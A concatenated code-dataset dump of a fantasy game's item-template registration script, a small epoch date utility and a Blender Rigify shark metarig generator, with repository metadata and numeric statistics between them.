tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_pointy.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword6") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_sabre.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword7") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_serpent.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword8") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_short.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword9") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_stone.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword10") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) # # Armor Templates # equipInfo = MarsEquipInfo("armor") equipInfo.addEquipSlot(MarsEquipSlot.CHEST) dcMap = DCMap() dcMap.add(human_female_base_DC, human_female_leather_tunicDC) item = Template("Leather Tunic") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\ARMOR_leather_A_chest") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(item) equipInfo = MarsEquipInfo("pants") equipInfo.addEquipSlot(MarsEquipSlot.LEGS) dcMap = DCMap() dcMap.add(human_female_base_DC, human_female_leather_pantsDC) item = Template("Leather Pants") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\ARMOR_leather_A_legs") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(item) equipInfo = MarsEquipInfo("boots") equipInfo.addEquipSlot(MarsEquipSlot.FEET) dcMap = DCMap() dcMap.add(human_female_base_DC, human_female_leather_bootsDC) item = Template("Leather Boots") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\ARMOR_leather_A_feet") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(item) equipInfo = MarsEquipInfo("gloves") equipInfo.addEquipSlot(MarsEquipSlot.HANDS) dcMap = DCMap() dcMap.add(human_female_base_DC, human_female_leather_glovesDC) item = Template("Leather Gloves") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\ARMOR_leather_A_hands") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(item) # # Item Templates # item = Template("Wolf Skin") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\Icons\INV_hide_basic-pelt") ObjectManagerClient.registerTemplate(item) item = Template("Wolf Bones") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\Icons\INV_mined_ironore") ObjectManagerClient.registerTemplate(item) item = Template("Healing Potion") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\ITEM_potion_A") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, AbilityActivateHook("heal potion")) ObjectManagerClient.registerTemplate(item) item = Template("Mana Potion") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\ITEM_potion_A") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, AbilityActivateHook("restore mana potion")) ObjectManagerClient.registerTemplate(item) item = Template("Tome of Heal") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\ITEM_book_C") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, AbilityActivateHook("teach self heal ability")) ObjectManagerClient.registerTemplate(item) item = Template("Tome of Fireball") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\ITEM_book_A") item.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, AbilityActivateHook("teach self fireball ability")) ObjectManagerClient.registerTemplate(item)

61.017575

127

0.702411

3,560

34,719

6.676124

0.085674

0.05596

0.095931

0.141372

0.856271

0.836791

0.832246

0.788783

0.77919

0.753608

0

0.010075

0.185259

34,719

568

128

61.125

0.830134

0.040525

0

0.67184

0

0.13197

0.054515

0

null

0

0.026608

null

0

null

0

1

0

null

0

1

0

7

dc369ee3a2b1f6e72401d0a209dc74cd51ba864d

176

py

Python

cdrparser/utils.py

krasnyineko/CDR-Parser

16c340fe036225cc9878d2c2151cf7cbd8997b36

[ "MIT" ]

1

2021-03-22T13:09:47.000Z

cdrparser/utils.py

krasnyineko/CDR-Parser

16c340fe036225cc9878d2c2151cf7cbd8997b36

[ "MIT" ]

null

cdrparser/utils.py

krasnyineko/CDR-Parser

16c340fe036225cc9878d2c2151cf7cbd8997b36

[ "MIT" ]

null

from datetime import datetime def epoch_date(epoch): return datetime.fromtimestamp(epoch).date() def epoch_time(epoch): return datetime.fromtimestamp(epoch).time()

17.6

47

0.761364

22

176

6

0.409091

0.121212

0.287879

0.484848

0.560606

0

0.136364

176

9

48

19.555556

0.868421

0

1

0.4

false

0

0.2

0.4

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

7

dc3fb8bf5ca7ab124eb669944f953b242d6ee9e0

39,659

py

Python

blender/2.79/scripts/addons/rigify/metarigs/Animals/shark.py

uzairakbar/bpy2.79

3a3e0004ac6783c4e4b89d939e4432de99026a85

[ "MIT" ]

2

2019-11-27T09:05:42.000Z

2020-02-20T01:25:23.000Z

rigify/metarigs/Animals/shark.py

1-MillionParanoidTterabytes/blender-addons-master

acc8fc23a38e6e89099c3e5079bea31ce85da06a

[ "Unlicense" ]

null

rigify/metarigs/Animals/shark.py

1-MillionParanoidTterabytes/blender-addons-master

acc8fc23a38e6e89099c3e5079bea31ce85da06a

[ "Unlicense" ]

4

2020-02-19T20:02:26.000Z

2022-02-11T18:47:56.000Z

import bpy from mathutils import Color def create(obj): # generated by rigify.utils.write_metarig bpy.ops.object.mode_set(mode='EDIT') arm = obj.data for i in range(6): arm.rigify_colors.add() arm.rigify_colors[0].name = "Root" arm.rigify_colors[0].active = Color((0.5490196347236633, 1.0, 1.0)) arm.rigify_colors[0].normal = Color((0.4352940022945404, 0.18431399762630463, 0.4156860113143921)) arm.rigify_colors[0].select = Color((0.31372547149658203, 0.7843138575553894, 1.0)) arm.rigify_colors[0].standard_colors_lock = True arm.rigify_colors[1].name = "IK" arm.rigify_colors[1].active = Color((0.5490196347236633, 1.0, 1.0)) arm.rigify_colors[1].normal = Color((0.6039220094680786, 0.0, 0.0)) arm.rigify_colors[1].select = Color((0.31372547149658203, 0.7843138575553894, 1.0)) arm.rigify_colors[1].standard_colors_lock = True arm.rigify_colors[2].name = "Specials" arm.rigify_colors[2].active = Color((0.5490196347236633, 1.0, 1.0)) arm.rigify_colors[2].normal = Color((0.9568629860877991, 0.7882350087165833, 0.04705899953842163)) arm.rigify_colors[2].select = Color((0.31372547149658203, 0.7843138575553894, 1.0)) arm.rigify_colors[2].standard_colors_lock = True arm.rigify_colors[3].name = "Tweak" arm.rigify_colors[3].active = Color((0.5490196347236633, 1.0, 1.0)) arm.rigify_colors[3].normal = Color((0.03921600058674812, 0.21176500618457794, 0.5803920030593872)) arm.rigify_colors[3].select = Color((0.31372547149658203, 0.7843138575553894, 1.0)) arm.rigify_colors[3].standard_colors_lock = True arm.rigify_colors[4].name = "FK" arm.rigify_colors[4].active = Color((0.5490196347236633, 1.0, 1.0)) arm.rigify_colors[4].normal = Color((0.11764699965715408, 0.5686269998550415, 0.035294000059366226)) arm.rigify_colors[4].select = Color((0.31372547149658203, 0.7843138575553894, 1.0)) arm.rigify_colors[4].standard_colors_lock = True arm.rigify_colors[5].name = "Extra" arm.rigify_colors[5].active = Color((0.5490196347236633, 1.0, 1.0)) arm.rigify_colors[5].normal = Color((0.9686279892921448, 0.2509799897670746, 0.09411799907684326)) arm.rigify_colors[5].select = Color((0.31372547149658203, 0.7843138575553894, 1.0)) arm.rigify_colors[5].standard_colors_lock = True for i in range(29): arm.rigify_layers.add() arm.rigify_layers[0].name = "Face" arm.rigify_layers[0].row = 1 arm.rigify_layers[0].set = False arm.rigify_layers[0].group = 5 arm.rigify_layers[1].name = "Face (Tweak)" arm.rigify_layers[1].row = 2 arm.rigify_layers[1].set = False arm.rigify_layers[1].group = 4 arm.rigify_layers[2].name = " " arm.rigify_layers[2].row = 1 arm.rigify_layers[2].set = False arm.rigify_layers[2].group = 0 arm.rigify_layers[3].name = "Spine" arm.rigify_layers[3].row = 3 arm.rigify_layers[3].set = False arm.rigify_layers[3].group = 3 arm.rigify_layers[4].name = "Spine (Tweak)" arm.rigify_layers[4].row = 4 arm.rigify_layers[4].set = False arm.rigify_layers[4].group = 4 arm.rigify_layers[5].name = "Tail" arm.rigify_layers[5].row = 5 arm.rigify_layers[5].set = False arm.rigify_layers[5].group = 6 arm.rigify_layers[6].name = "Fins.L" arm.rigify_layers[6].row = 6 arm.rigify_layers[6].set = False arm.rigify_layers[6].group = 5 arm.rigify_layers[7].name = "Fins.L (Tweak)" arm.rigify_layers[7].row = 7 arm.rigify_layers[7].set = False arm.rigify_layers[7].group = 4 arm.rigify_layers[8].name = "Fins.R" arm.rigify_layers[8].row = 6 arm.rigify_layers[8].set = False arm.rigify_layers[8].group = 5 arm.rigify_layers[9].name = "Fins.R (Tweak)" arm.rigify_layers[9].row = 7 arm.rigify_layers[9].set = False arm.rigify_layers[9].group = 4 arm.rigify_layers[10].name = "Fins" arm.rigify_layers[10].row = 8 arm.rigify_layers[10].set = False arm.rigify_layers[10].group = 3 arm.rigify_layers[11].name = "Fins (Tweak)" arm.rigify_layers[11].row = 9 arm.rigify_layers[11].set = False arm.rigify_layers[11].group = 4 arm.rigify_layers[12].name = " " arm.rigify_layers[12].row = 1 arm.rigify_layers[12].set = False arm.rigify_layers[12].group = 0 arm.rigify_layers[13].name = " " arm.rigify_layers[13].row = 1 arm.rigify_layers[13].set = False arm.rigify_layers[13].group = 6 arm.rigify_layers[14].name = " " arm.rigify_layers[14].row = 1 arm.rigify_layers[14].set = False arm.rigify_layers[14].group = 0 arm.rigify_layers[15].name = " " arm.rigify_layers[15].row = 1 arm.rigify_layers[15].set = False arm.rigify_layers[15].group = 0 arm.rigify_layers[16].name = " " arm.rigify_layers[16].row = 1 arm.rigify_layers[16].set = False arm.rigify_layers[16].group = 0 arm.rigify_layers[17].name = " " arm.rigify_layers[17].row = 1 arm.rigify_layers[17].set = False arm.rigify_layers[17].group = 0 arm.rigify_layers[18].name = " " arm.rigify_layers[18].row = 1 arm.rigify_layers[18].set = False arm.rigify_layers[18].group = 0 arm.rigify_layers[19].name = " " arm.rigify_layers[19].row = 1 arm.rigify_layers[19].set = False arm.rigify_layers[19].group = 0 arm.rigify_layers[20].name = " " arm.rigify_layers[20].row = 1 arm.rigify_layers[20].set = False arm.rigify_layers[20].group = 0 arm.rigify_layers[21].name = " " arm.rigify_layers[21].row = 1 arm.rigify_layers[21].set = False arm.rigify_layers[21].group = 0 arm.rigify_layers[22].name = " " arm.rigify_layers[22].row = 1 arm.rigify_layers[22].set = False arm.rigify_layers[22].group = 0 arm.rigify_layers[23].name = " " arm.rigify_layers[23].row = 1 arm.rigify_layers[23].set = False arm.rigify_layers[23].group = 0 arm.rigify_layers[24].name = " " arm.rigify_layers[24].row = 1 arm.rigify_layers[24].set = False arm.rigify_layers[24].group = 0 arm.rigify_layers[25].name = " " arm.rigify_layers[25].row = 1 arm.rigify_layers[25].set = False arm.rigify_layers[25].group = 0 arm.rigify_layers[26].name = " " arm.rigify_layers[26].row = 1 arm.rigify_layers[26].set = False arm.rigify_layers[26].group = 0 arm.rigify_layers[27].name = " " arm.rigify_layers[27].row = 1 arm.rigify_layers[27].set = False arm.rigify_layers[27].group = 0 arm.rigify_layers[28].name = "Root" arm.rigify_layers[28].row = 14 arm.rigify_layers[28].set = False arm.rigify_layers[28].group = 1 bones = {} bone = arm.edit_bones.new('spine') bone.head[:] = -0.0000, 1.3362, 0.4776 bone.tail[:] = -0.0000, 1.0816, 0.4540 bone.roll = 0.0000 bone.use_connect = False bones['spine'] = bone.name bone = arm.edit_bones.new('spine.001') bone.head[:] = -0.0000, 1.0816, 0.4540 bone.tail[:] = -0.0000, 0.7152, 0.4305 bone.roll = -0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['spine']] bones['spine.001'] = bone.name bone = arm.edit_bones.new('back_fin.T.Bk') bone.head[:] = 0.0000, 1.2501, 0.5345 bone.tail[:] = 0.0000, 1.5211, 0.7594 bone.roll = 0.0000 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine']] bones['back_fin.T.Bk'] = bone.name bone = arm.edit_bones.new('back_fin.B.Bk') bone.head[:] = 0.0000, 1.2305, 0.4158 bone.tail[:] = 0.0000, 1.3289, 0.2452 bone.roll = 0.0000 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine']] bones['back_fin.B.Bk'] = bone.name bone = arm.edit_bones.new('spine.002') bone.head[:] = -0.0000, 0.7152, 0.4305 bone.tail[:] = -0.0000, 0.3182, 0.4031 bone.roll = -0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['spine.001']] bones['spine.002'] = bone.name bone = arm.edit_bones.new('mid_fin.Top') bone.head[:] = 0.0000, 0.7296, 0.5396 bone.tail[:] = 0.0000, 0.7709, 0.6351 bone.roll = 0.0000 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.001']] bones['mid_fin.Top'] = bone.name bone = arm.edit_bones.new('mid_fin.Bot') bone.head[:] = 0.0000, 0.7296, 0.3505 bone.tail[:] = 0.0000, 0.8233, 0.2684 bone.roll = 1.5708 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.001']] bones['mid_fin.Bot'] = bone.name bone = arm.edit_bones.new('back_fin.T.001.Bk') bone.head[:] = 0.0000, 1.5211, 0.7594 bone.tail[:] = 0.0000, 1.7667, 0.9633 bone.roll = 0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['back_fin.T.Bk']] bones['back_fin.T.001.Bk'] = bone.name bone = arm.edit_bones.new('back_fin.B.001.Bk') bone.head[:] = 0.0000, 1.3289, 0.2452 bone.tail[:] = 0.0000, 1.3818, 0.1513 bone.roll = 0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['back_fin.B.Bk']] bones['back_fin.B.001.Bk'] = bone.name bone = arm.edit_bones.new('spine.003') bone.head[:] = -0.0000, 0.3182, 0.4031 bone.tail[:] = -0.0000, 0.0152, 0.3904 bone.roll = 0.0001 bone.use_connect = True bone.parent = arm.edit_bones[bones['spine.002']] bones['spine.003'] = bone.name bone = arm.edit_bones.new('back_fin.T.002.Bk') bone.head[:] = 0.0000, 1.7667, 0.9633 bone.tail[:] = 0.0000, 1.9489, 1.1145 bone.roll = 0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['back_fin.T.001.Bk']] bones['back_fin.T.002.Bk'] = bone.name bone = arm.edit_bones.new('spine.008') bone.head[:] = -0.0000, 0.0152, 0.3904 bone.tail[:] = 0.0000, -0.3259, 0.3967 bone.roll = 0.0001 bone.use_connect = True bone.parent = arm.edit_bones[bones['spine.003']] bones['spine.008'] = bone.name bone = arm.edit_bones.new('spine.004') bone.head[:] = 0.0000, -0.3259, 0.3967 bone.tail[:] = 0.0000, -0.5947, 0.4044 bone.roll = -0.0001 bone.use_connect = True bone.parent = arm.edit_bones[bones['spine.008']] bones['spine.004'] = bone.name bone = arm.edit_bones.new('chest_fin.Bot.L') bone.head[:] = 0.0889, 0.2605, 0.2866 bone.tail[:] = 0.1731, 0.3299, 0.1901 bone.roll = -2.3171 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.008']] bones['chest_fin.Bot.L'] = bone.name bone = arm.edit_bones.new('chest_fin.Bot.R') bone.head[:] = -0.0889, 0.2605, 0.2866 bone.tail[:] = -0.1731, 0.3299, 0.1901 bone.roll = 2.3171 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.008']] bones['chest_fin.Bot.R'] = bone.name bone = arm.edit_bones.new('spine.005') bone.head[:] = 0.0000, -0.5947, 0.4044 bone.tail[:] = 0.0000, -1.2084, 0.4328 bone.roll = 0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['spine.004']] bones['spine.005'] = bone.name bone = arm.edit_bones.new('top_fin') bone.head[:] = 0.0000, -0.2777, 0.5550 bone.tail[:] = 0.0000, -0.1962, 0.7053 bone.roll = 0.0000 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.004']] bones['top_fin'] = bone.name bone = arm.edit_bones.new('spine.006') bone.head[:] = 0.0000, -1.2084, 0.4328 bone.tail[:] = 0.0000, -1.5634, 0.4275 bone.roll = -0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['spine.005']] bones['spine.006'] = bone.name bone = arm.edit_bones.new('shoulder.L') bone.head[:] = 0.0729, -0.9648, 0.3756 bone.tail[:] = 0.2649, -0.9648, 0.3157 bone.roll = 3.4558 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.005']] bones['shoulder.L'] = bone.name bone = arm.edit_bones.new('shoulder.R') bone.head[:] = -0.0729, -0.9648, 0.3756 bone.tail[:] = -0.2649, -0.9648, 0.3157 bone.roll = -3.4558 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.005']] bones['shoulder.R'] = bone.name bone = arm.edit_bones.new('top_fin.001') bone.head[:] = 0.0000, -0.1962, 0.7053 bone.tail[:] = 0.0000, -0.1362, 0.8158 bone.roll = 0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['top_fin']] bones['top_fin.001'] = bone.name bone = arm.edit_bones.new('spine.007') bone.head[:] = 0.0000, -1.5634, 0.4275 bone.tail[:] = 0.0000, -2.0661, 0.4364 bone.roll = 0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['spine.006']] bones['spine.007'] = bone.name bone = arm.edit_bones.new('side_fin.L') bone.head[:] = 0.2140, -0.9624, 0.2213 bone.tail[:] = 0.5220, -0.9078, -0.1343 bone.roll = -2.3170 bone.use_connect = False bone.parent = arm.edit_bones[bones['shoulder.L']] bones['side_fin.L'] = bone.name bone = arm.edit_bones.new('side_fin.R') bone.head[:] = -0.2140, -0.9624, 0.2213 bone.tail[:] = -0.5220, -0.9078, -0.1343 bone.roll = 2.3170 bone.use_connect = False bone.parent = arm.edit_bones[bones['shoulder.R']] bones['side_fin.R'] = bone.name bone = arm.edit_bones.new('eye.L') bone.head[:] = 0.1405, -1.6860, 0.4161 bone.tail[:] = 0.3684, -1.6810, 0.4156 bone.roll = 3.1352 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.007']] bones['eye.L'] = bone.name bone = arm.edit_bones.new('eye.R') bone.head[:] = -0.1405, -1.6860, 0.4161 bone.tail[:] = -0.3684, -1.6810, 0.4156 bone.roll = -3.1352 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.007']] bones['eye.R'] = bone.name bone = arm.edit_bones.new('jaw.master') bone.head[:] = -0.0000, -1.5791, 0.2788 bone.tail[:] = 0.0000, -1.9421, 0.3386 bone.roll = 0.0000 bone.use_connect = False bone.parent = arm.edit_bones[bones['spine.007']] bones['jaw.master'] = bone.name bone = arm.edit_bones.new('side_fin.L.001') bone.head[:] = 0.5220, -0.9078, -0.1343 bone.tail[:] = 0.7928, -0.7598, -0.4802 bone.roll = -2.2826 bone.use_connect = True bone.parent = arm.edit_bones[bones['side_fin.L']] bones['side_fin.L.001'] = bone.name bone = arm.edit_bones.new('side_fin.R.001') bone.head[:] = -0.5220, -0.9078, -0.1343 bone.tail[:] = -0.7928, -0.7598, -0.4802 bone.roll = 2.2826 bone.use_connect = True bone.parent = arm.edit_bones[bones['side_fin.R']] bones['side_fin.R.001'] = bone.name bone = arm.edit_bones.new('jaw') bone.head[:] = -0.0000, -1.5791, 0.2788 bone.tail[:] = 0.0000, -1.7326, 0.3041 bone.roll = 0.0000 bone.use_connect = False bone.parent = arm.edit_bones[bones['jaw.master']] bones['jaw'] = bone.name bone = arm.edit_bones.new('jaw.002.L') bone.head[:] = 0.0891, -1.5791, 0.2894 bone.tail[:] = 0.1110, -1.7198, 0.3129 bone.roll = 1.4894 bone.use_connect = False bone.parent = arm.edit_bones[bones['jaw.master']] bones['jaw.002.L'] = bone.name bone = arm.edit_bones.new('jaw.002.R') bone.head[:] = -0.0891, -1.5791, 0.2894 bone.tail[:] = -0.1110, -1.7198, 0.3129 bone.roll = -1.4894 bone.use_connect = False bone.parent = arm.edit_bones[bones['jaw.master']] bones['jaw.002.R'] = bone.name bone = arm.edit_bones.new('jaw.001') bone.head[:] = 0.0000, -1.7326, 0.3041 bone.tail[:] = 0.0000, -1.8860, 0.3294 bone.roll = 0.0000 bone.use_connect = True bone.parent = arm.edit_bones[bones['jaw']] bones['jaw.001'] = bone.name bone = arm.edit_bones.new('jaw.003.L') bone.head[:] = 0.1110, -1.7198, 0.3129 bone.tail[:] = 0.1260, -1.8159, 0.3326 bone.roll = 1.2807 bone.use_connect = True bone.parent = arm.edit_bones[bones['jaw.002.L']] bones['jaw.003.L'] = bone.name bone = arm.edit_bones.new('jaw.003.R') bone.head[:] = -0.1110, -1.7198, 0.3129 bone.tail[:] = -0.1260, -1.8159, 0.3326 bone.roll = -1.2807 bone.use_connect = True bone.parent = arm.edit_bones[bones['jaw.002.R']] bones['jaw.003.R'] = bone.name bpy.ops.object.mode_set(mode='OBJECT') pbone = obj.pose.bones[bones['spine']] pbone.rigify_type = 'spines.super_spine' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.neck_pos = 8 except AttributeError: pass try: pbone.rigify_parameters.tweak_layers = [False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] except AttributeError: pass try: pbone.rigify_parameters.tail_pos = 3 except AttributeError: pass try: pbone.rigify_parameters.pivot_pos = 5 except AttributeError: pass try: pbone.rigify_parameters.use_tail = True except AttributeError: pass try: pbone.rigify_parameters.copy_rotation_axes = [True, False, True] except AttributeError: pass pbone = obj.pose.bones[bones['spine.001']] pbone.rigify_type = '' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] pbone = obj.pose.bones[bones['back_fin.T.Bk']] pbone.rigify_type = 'limbs.super_finger' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 'QUATERNION' pbone.bone.layers = [False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] try: pbone.rigify_parameters.tweak_layers = [False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False] except AttributeError: pass try: pbone.rigify_parameters.primary_rotation_axis = "Z" except AttributeError: pass pbone = obj.pose.bones[bones['back_fin.B.Bk']] pbone.rigify_type = 'limbs.super_finger' pbone.lock_location = (False, False, False) pbone.lock_rotation = (False, False, False) pbone.lock_rotation_w = False pbone.lock_scale = (False, False, False) pbone.rotation_mode = 